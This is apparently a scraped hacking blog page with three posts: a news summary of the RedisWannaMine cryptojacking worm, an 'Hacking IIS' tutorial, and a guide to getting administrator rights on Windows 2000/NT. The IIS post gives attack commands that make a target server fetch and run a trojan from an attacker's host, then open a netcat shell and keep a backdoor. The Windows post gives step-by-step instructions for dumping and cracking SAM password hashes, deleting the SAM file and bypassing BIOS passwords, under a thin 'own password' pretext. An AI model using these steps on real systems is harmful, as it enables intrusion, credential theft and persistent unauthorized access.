Redis and Windows servers targeted by a new cryptomining malware RedisWannaMine

3/10/2018 The Hackers Chronicle 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdV7v7ncahe3qwjXHcok_B73pE_DNqfje6O7Q30mp3Zo1V1TZtqUKjP9luc1VvqZjcL9DdzR6EFbGO_wBBFmTFmxdrlzDHmgnmqmGYuzhv3nT1eZGKUJLuuB-GTvK96Byo-Te-UdzKKiDq/s1600/cryptoccurency-mining-malware-RedisWannaMine.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Hackers are targeting Redis and Windows servers for cryptomining " border="0" data-original-height="465" data-original-width="720" height="411" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdV7v7ncahe3qwjXHcok_B73pE_DNqfje6O7Q30mp3Zo1V1TZtqUKjP9luc1VvqZjcL9DdzR6EFbGO_wBBFmTFmxdrlzDHmgnmqmGYuzhv3nT1eZGKUJLuuB-GTvK96Byo-Te-UdzKKiDq/s640/cryptoccurency-mining-malware-RedisWannaMine.jpg" title="Hackers are targeting Redis and Windows servers for cryptomining " width="640" /></a></div>
<br />
Security researchers at Imperva have come across a new <a href="http://www.hackerschronicle.com/search/label/Cryptojacking">cryptojacking </a>worm that infects Redis and Windows servers with cryptomining <a href="http://www.hackerschronicle.com/search/label/Malwares">malware</a>.<br />
<br />
The attack, which has been dubbed <a href="http://www.hackerschronicle.com/search/label/RedisWannaMine">RedisWannaMine </a>by researchers from security firm Imperva, scans for <b>misconfigured Redis deployments and Windows Servers that are still vulnerable to the Eternal Blue SMB <a href="http://www.hackerschronicle.com/search/label/Exploits">exploit</a>.</b><br />
<br />
While investigating an attack against a web server that attempted to exploit the <b>CVE-2017-9805</b> vulnerability in Apache Struts, the Imperva researchers located a command-and-control server hosting multiple attack scripts. One of those scripts was a new cryptomining downloader that exhibited worm-like behavior.<br />
<br />
When executed, the script attempts to install a variety of packages through apt-get or yum—depending on the Linux distribution—creates entries in crontab for persistence and adds a new authorized SSH key for authentication. It then proceeds to download a tool called masscan from GitHub and compiles it.<br />
<br />
<b>Masscan is a high-performance TCP port scanner</b> and is used by <b>RedisWannaMine </b>to scan external and internal IP addresses for Redis deployments. Redis is an in-memory data store that can be used as a database, cache or message broker. It is usually deployed on internal networks, but thousands of such servers have been found exposed on the internet in the past. The project page of <a href="https://github.com/robertdavidgraham/masscan">Masscan</a> describes it as “<b>TCP port scanner, spews SYN packets asynchronously, scanning entire Internet in under 5 minutes</b>.”<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQJMVXe1axhx_0ifPV9UQfCDbpGj7tB7CVqo97UHjD9NP-PWON8uni3Mt8IizLcBToJNJ3Zc3mHPcVqbcw_SYEPegsRg_gD2szWYtMy7mTf1mTMDI4OlM-LLyM33gKHR8POmdvnMP3Doms/s1600/mascan-TCP-Scanner.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Masscan a high-performance TCP port scanner" border="0" data-original-height="206" data-original-width="845" height="155" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQJMVXe1axhx_0ifPV9UQfCDbpGj7tB7CVqo97UHjD9NP-PWON8uni3Mt8IizLcBToJNJ3Zc3mHPcVqbcw_SYEPegsRg_gD2szWYtMy7mTf1mTMDI4OlM-LLyM33gKHR8POmdvnMP3Doms/s640/mascan-TCP-Scanner.png" title="Masscan a high-performance TCP port scanner" width="640" /></a></div>
<br />
<br />
When an unprotected Redis server is discovered, the script installs cryptomining malware on it and creates crontab entries for persistence. The script then launches another scan, this time for Windows Servers that accept SMB connections.<br />
<br />
The goal of the second scan is to find servers that are vulnerable to the Eternal Blue SMB exploit used by <a href="http://www.hackerschronicle.com/search/label/WannaCry">WannaCry</a>, <a href="http://www.hackerschronicle.com/search/label/notPetya">NotPetya </a>and other malware attacks over the past year. When such a servers are identified, the script downloads and installs a different cryptomining component for Windows.<br />
<br />
Compared to past cryptojacking attacks that primarily target servers available on the internet, <b>RedisWannaMine also spreads laterally through local networks, making it much more dangerous to companies.</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXH9YAByWecwOsKjw_3-Hh9YEHhFJv6d1_vJ60su3ELwMZLe2IYggemN0gZj5AgFg-YHsy7XiuYUfviIo26KgUk77daHKbinqPVTKH208B9EnAWqf4wGQRsgcdyX-K9WbO6NlKtrHbzQgI/s1600/working-of-RedisWannaMine.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Working of RedisWannaMine Malware" border="0" data-original-height="570" data-original-width="1024" height="355" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXH9YAByWecwOsKjw_3-Hh9YEHhFJv6d1_vJ60su3ELwMZLe2IYggemN0gZj5AgFg-YHsy7XiuYUfviIo26KgUk77daHKbinqPVTKH208B9EnAWqf4wGQRsgcdyX-K9WbO6NlKtrHbzQgI/s640/working-of-RedisWannaMine.png" title="Working of RedisWannaMine Malware" width="640" /></a></div>
<br />
The malware “is more complex in terms of evasion techniques and capabilities,” the Imperva researchers said in a report. “It demonstrates a worm-like behavior combined with advanced exploits to increase the attackers’ infection rate and fatten their wallets. In a nutshell, cryptojacking attackers have upped their game and they are getting crazier by the minute!” </div>

Redis and Windows servers targeted by a new cryptomining malware RedisWannaMine

Security researchers at Imperva have come across a new cryptojacking worm that infects Redis and Windows servers with cryptomining malwa...

Hacking IIS

11/21/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGWnj39bEwTIgiQpguaTS_CyfOb3JAtltv0JJa1j86ltv5w7N709cxJx4P1uyMQ1IhKF71aLeaenb4HHIWOfHY_Gb3ChoRymhOdVWrvEJzS7GDR_7JrGwPo7qemdU9LcRN97Dyy9oclT1k/s1600/unledusi.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGWnj39bEwTIgiQpguaTS_CyfOb3JAtltv0JJa1j86ltv5w7N709cxJx4P1uyMQ1IhKF71aLeaenb4HHIWOfHY_Gb3ChoRymhOdVWrvEJzS7GDR_7JrGwPo7qemdU9LcRN97Dyy9oclT1k/s640/unledusi.jpg" width="640" /></a></div>
<center>
<b>Hacking Tool: IISHack.exe</b></center>
<div class="highlight">
iishack.exe </div>
overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed.<br />
<div class="command wobble-horizontal">
iishack www.yourtarget.com 80 www.yourserver.com/thetrojan.exe </div>
<br />
<br />
<div class="highlight">
www.yourtarget.com </div>
is the IIS server you're hacking, <br />
<div class="highlight">
80 </div>
is the port its listening on, <br />
<div class="highlight">
www.yourserver.com </div>
is some webserver with your trojan or custom script (your own, or another), and <br />
<div class="highlight">
/thetrojan.exe </div>
is the path to that script.<br />
"<br />
<div class="system pop">
IIS Hack </div>
" is a buffer overflow vulnerability exposed by the way IIS handles requests with <br />
<div class="highlight">
.HTR </div>
extensions. A hacker sends a long URL that ends with "<br />
<div class="system pop">
.HTR </div>
". IIS interprets it as a file type of HTR and invokes the <br />
<div class="system pop">
ISM.DLL </div>
to handle the request. Since ISM.DLL is vulnerable to a buffer overflow, a carefully crafted string can be executed in the security context of IIS, which is privileged. For example, it is relatively simple to include in the exploit code a sequence of commands that will open a TCP/IP connection, download an executable and then execute it. This way, any malicious code can be executed.<br />
<br />
A sample exploit can be constructed as shown below:<br />
<br />
To hack the target site and attacker's system running a web server can use <br />
<div class="highlight">
iishack.exe </div>
and <br />
<div class="highlight">
ncx.exe </div>
.<br />
<br />
To begin with, the <br />
<div class="system pop">
ncx.exe </div>
is configured to run from the root directory. IIShack.exe is then run against the victim site.<br />
<div class="command wobble-horizontal">
c:\>iishack.exe  80 /ncx.exe</div>
<br />
<br />
The attacker can then use netcat to evoke the command shell. <br />
<br />
<div class="command wobble-horizontal">
c:\>nc  80</div>
<br />
<br />
He can proceed to upload and execute any code of his choice and maintain a backdoor on the target site.<br />
<br />
<h3>
IPP Buffer Overflow Countermeasures</h3>
<br />
<ol>
<li>Install latest service pack from Microsoft.</li>
<li>Remove IPP printing from IIS Server</li>
<li>Install firewall and remove unused extensions</li>
<li>Implement aggressive network egress filtering</li>
<li>Use IISLockdown and URLScan utilities</li>
<li>Regularly scan your network for vulnerable servers</li>
</ol>
Without any further explanation, the first countermeasure is obviously to install the latest service packs and hotfixes.<br />
As with many <br />
<div class="highlight">
IIS vulnerabilities</div>
, the IPP exploit takes advantage of a bug in an ISAPI DLL that ships with IIS 5 and is configured by default to handle requests for certain file types. This particular ISAPI filter resides in <br />
<div class="system pop">
C: \WINNT\System32\msw3prt.dll</div>
and provides <br />
<div class="highlight">
Windows 2000 </div>
with support for the IPP. If this functionality is not required on the Web server, the application mapping for this DLL to .printer files can be removed (and optionally deleting the DLL itself) in order to prevent the buffer overflow from being exploited. This is possible because the DLL will not be loaded into the IIS process when it starts up. In fact, most security issues are centered on the ISAPI DLL mappings, making this one of the most important countermeasure to be adopted when securing IIS.<br />
<br />
Another standard countermeasure that can be adopted here is to use a firewall and remove any extensions that are not required. Implementing aggressive network egress can help to a certain degree. With IIS, using <br />
<div class="highlight">
IISLockdown </div>
and <br />
<div class="highlight">
URLScan </div>
- (free utilities from Microsoft) can ensure more protection and minimize damage in case the web server is affected.<br />
Microsoft has also released a patch for the buffer overflow, but removing the <br />
<div class="system pop">
ISAPI DLL </div>
is a more proactive solution in case there are additional vulnerabilities that are yet to be found with the code.<br />
<br />
<h3>
ISAPI DLL Source disclosures</h3>
<br />
Microsoft IIS 4.0 and 5.0 can be made to disclose fragments of source code which should otherwise be in accessible. This is done by appending "<br />
<div class="highlight">
+.htr </div>
" to a request for a known .asp (or .asa, .ini, etc) file. appending this string causes the request to be handled by ISM.DLL, which then strips the '+.htr' string and may disclose part or all of the source of the .asp file specified in the request.<br />
IIS supports several file types that require server-side processing. When a web site visitor requests a file of one of these types, an appropriate filter DLL processes it. Vulnerability exists in ISM.DLL, the filter DLL that processes .HTR files. HTR files enable remote administration of user passwords. HTR files are scripts that allow Windows NT password services to be provided via IIS web servers. Windows NT users can use .HTR scripts to change their own passwords, and administrators can use them to perform a wide array of password administration functions. HTR is a first-generation advanced scripting technology that is included in IIS 3.0, and still supported by later versions of IIS for backwards compatibility. However, HTR was never widely adopted, and was superceded by Active Server Pages (ASP) technology introduced in IIS 4.0.<br />
<br />
<h3 style="border: none;">
Attack Methods</h3>
<br />
<h3>
Exploit / Attack Methodology</h3>
By making a specially formed request to IIS, with the name of the file and then appending around <br />
<div class="highlight">
230 + " %20 " </div>
(these represents spaces) and then appending "<br />
<div class="highlight">
.htr </div>
" this tricks IIS into thinking that the client is requesting a " .htr " file . The .htr file extension is mapped to the ISM.DLL ISAPI Application and IIS redirects all requests for .htr resources to this DLL.<br />
ISM.DLL is then passed the name of the file to open and execute but before doing this ISM.DLL truncates the buffer sent to it chopping off the .htr and a few spaces and ends up opening the file whose source is sought. The contents are then returned. This attack can only be launched once though, unless the web service started and stopped. It will only work when ISM.DLL first loaded into memory.<br />
"Undelimited .HTR Request" vulnerability: The first vulnerability is a denial of service vulnerability. All .HTR files accept certain parameters that are expected to be delimited in a particular way. This vulnerability exists because the search routine for the delimiter isn't properly bounded. Thus, if a malicious user provided a request without the expected delimiter, the ISAPI filter that processes it would search forever for the delimiter and never find it.<br />
If a malicious user submitted a password change request that lacked an expected delimiter, ISM.DLL, the ISAPI extension that processes .HTR files, would search endlessly for it. This would prevent the server from servicing any more password change requests. In addition, the search would consume CPU time, so the overall response of the server might be slowed.<br />
The second threat would be more difficult to exploit. A carefully-constructed file request could cause arbitrary code to execute on the server via a classic buffer overrun technique. Neither scenario could occur accidentally. This vulnerability does not involve the functionality of the password administration features of .HTR files.<br />
".HTR File Fragment Reading" vulnerability: The ".HTR File Fragment Reading" vulnerability could allow fragments of certain types of files to be read by providing a malformed request that would cause the. HTR processing to be applied to them. This vulnerability could allow a malicious user to read certain types of files under some very restrictive circumstances by levying a bogus .HTR request. The ISAPI filter will attempt to interpret the requested file as an .HTR file, and this would have the effect of removing virtually everything but text from a selected file. That is, it would have the effect of stripping out the very information that is most likely to contain sensitive information in .asp and other server-side files.<br />
The <br />
<div class="system pop">
.htr vulnerability </div>
will allow data to be added, deleted or changed on the server, or allow any administrative control on the server to be usurped. Although .HTR files are used to allow web-based password administration, this vulnerability does not involve any weakness in password handling.<br />
<div class="highlight">
Absent Directory Browser Argument vulnerability</div>
:<br />
Among the default HTR scripts provided in IIS 3.0 (and preserved on upgrade to IIS 4.0 and IIS 5.0) were several that allowed web site administrators to view directories on the server. One of these scripts, if called without an expected argument, will enter an infinite loop that can consume all of the system's CPU availability, thereby preventing the server from responding to requests for service.</div>

Hacking Hacking Tutorials IIS Server Tutorials Vulnerability Windows Server Hacking IIS

Hacking Tool: IISHack.exe iishack.exe overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed. iisha...

Get Admin Rights in Windows 2000 and NT

3/30/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOY1d_AbzzevH_Dn9PhoTP02GGXZ3YpRontMTeBI1wO73H6aZDMSV6-PanP4755dJ0Nyl3uebxXGBW33w50RyYP8vQequI135HA_LkBAODsgguQ79ouEaJhAJ0sZn5O5x-T8H9xZNYM7dh/s1600/Hacking-Windows-NT.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Privilage-Escalation-Windows-NT" border="0" data-original-height="395" data-original-width="590" height="427" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOY1d_AbzzevH_Dn9PhoTP02GGXZ3YpRontMTeBI1wO73H6aZDMSV6-PanP4755dJ0Nyl3uebxXGBW33w50RyYP8vQequI135HA_LkBAODsgguQ79ouEaJhAJ0sZn5O5x-T8H9xZNYM7dh/s640/Hacking-Windows-NT.jpg" title="Privilage-Escalation-Windows-2000" width="640" /></a></div>
<br /></div>
<div style="text-align: justify;">
I have tried all possible ways and solutions. in this text I'm only  gonna write as short as possibly how to get your forgotten administrator  password back. Of course you will only use this to get your own  administrator password back... : ) If you get somebody else  administrator password and mess up that computer the "real  administrator" gets pretty pissed off! Trust me... :)</div>
<div style="text-align: justify;">
I will also include all the progs I use to get "my administrator" password. Ok, let's cut the bullshit.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
First off all, there is no right and only way of doing this. It all depends on the situation. Let's begin with scenario one:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
You  can log in with an other user-name besides administrator. This is the  most simple way. Once you are logged in, the rest is very simple. First,  there are three programs we can use now: LC3, pwdump2 or sam dump. If you  can install LC3 on the computer, everything is bueno. But lets assume  that without administrator rights you won't be able to install anything  (like in my case). Pwdump2 also needs administrator rights to be run so  we won't use that one eighter. But samdump can be! Let's use that one.  samdump is a very small and clever program that dumps the sam database to  a text file. Use it like this from the dos prompt: samdump > hashes.txt  Now we have the password hashes in a text file called hashes.txt. Alright, now we have the administrator password!! Yeah! Well, not  quite. Instead do the following: copy hashes.txt to a floppy. Now we'll  need another program, LC3. Install LC3 on a computer where available.  Then when ready installed: new session > import PWDUMP file. Open the  hashes.txt from your floppy. Run the program. LC3 will now use password  lists AND brute-force on the samdump. Finally you will get the  administrator password (all depends on your computer speed. With a  500-700mhz it should take from 5minutes to 20 hours.)</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
That was scenario one. Now to scenario two. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Let's  assume that we can't log in to the computer and run samdump. Now it's a  litle bit harder to get the samdatabase. Now you'll need a bootable  windows 98 startup floppy. I'm not providing you with it. If you can't  get or do one yourself, don't bother to get the </div>
<div style="text-align: justify;">
administrator  password eighter. In that case there are more important things to do...  Ok, now when you got the 98 floppy, put it inside the floppy drive. And  if there is no floppy drive you can do a bootable 98 cd too, or just use  the windows 98 cd. now when the computer has booted from your 98 disk,  browse to %root%winnt/system/ There write:</div>
<div style="text-align: justify;">
copy sam a:\ (yees, of  course.. put in a blank formatted floppy...) Now you can use the LC3  cracking program to get the administrator password. Like above but  instead of</div>
<div style="text-align: justify;">
PWDUMP you take sam file.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Ok, what if %root% were  windows is installed has NFTS??! Ok, don't panic. I have the solution  for you. NTFSDOS! Boot with your windows98 floppy and when booted insert  the floppy with NTFSDOS. Run NTFSDOS. Copy the samfile to a floppy... </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
There  is also another program called NTFSDOSpro. It can write to the NTFS  partition! If you are in a hurry you can simply remove the sam file.  (don't do this on somebody elses computer, the administrator will notice  it immediately!! And that is no good.) When sam is removed, simply log  in with administrator and leave password blank. If any errors occure,  just press ok.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Ok, what if I can't boot from floppy, CD or get  into windows, then what??! Now we have to crack the bios to get the bios  password so we can change the boot media. To do this, use known  backdoors. Here is a link to a fairly new one for several bioses. If  that doesn't work, try to download a bios flash disk and see if it boots  from it (can't provide you with them because there are hundreds of  them! use a search engine.) And if that doesn't work, try to remove the  bios battery and see if it will reset the bios. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
I will provide you with more stuff later on braking bioses!</div>
</div>

Tutorials Windows Server Get Admin Rights in Windows 2000 and NT

I have tried all possible ways and solutions. in this text I'm only gonna write as short as possibly how to get your forgotten ad...

Redis and Windows servers targeted by a new cryptomining malware RedisWannaMine

Hacking IIS

Get Admin Rights in Windows 2000 and NT

Popular

Comments

Archive